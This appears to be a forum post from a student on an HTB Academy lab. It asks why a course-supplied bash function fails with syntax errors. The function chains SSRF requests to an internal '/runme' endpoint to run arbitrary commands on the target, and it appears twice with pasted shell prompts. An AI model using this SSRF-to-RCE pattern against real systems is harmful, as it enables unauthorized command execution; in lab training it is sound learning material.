In the ssrf exploitation example section at the end of the section htb academy give you a bash function to use in order to gain rce via ssrf. The issue i’m having is when i try to use the function, i get nothing but syntax errors and i do not know enough to sort out why and when i looked up function writing via bash terminal, nothing stood out. So i’m asking you pros for help
──(root㉿kali)-[~]
└─# function rce() {
function> while true; do
function while> echo -n "# "; read cmd
function while> ecmd=$(echo -n $cmd | jq -sRr @uri | jq -sRr @uri | jq -sRr @uri)
function while> curl -s -o - "http://<TARGET IP>/load?q=http://internal.app.local/load?q=http::////127.0.0.1:5000/runme?x=${ecmd}"
function while> echo ""
function while> done
function> }
bash: syntax error near unexpected token `>'
bash: syntax error near unexpected token `>'
bash: syntax error near unexpected token `>'
bash: syntax error near unexpected token `>'
bash: syntax error near unexpected token `>'
bash: syntax error near unexpected token `>'
bash: syntax error near unexpected token `>'
and when i try to write it out without creating new lines, I still get syntax errors.
┌──(root㉿kali)-[~]
└─# function rce() { function> while true; do function while> echo -n "# "; read cmd function while> ecmd=$(echo -n $cmd | jq -sRr @uri | jq -sRr @uri | jq -sRr @uri) function while> curl -s -o - "http://<TARGET IP>/load?q=http://internal.app.local/load?q=http::////127.0.0.1:5000/runme?x=${ecmd}" function while> echo "" function while> done function> }
bash: syntax error near unexpected token `>'
any help would be great, thanks!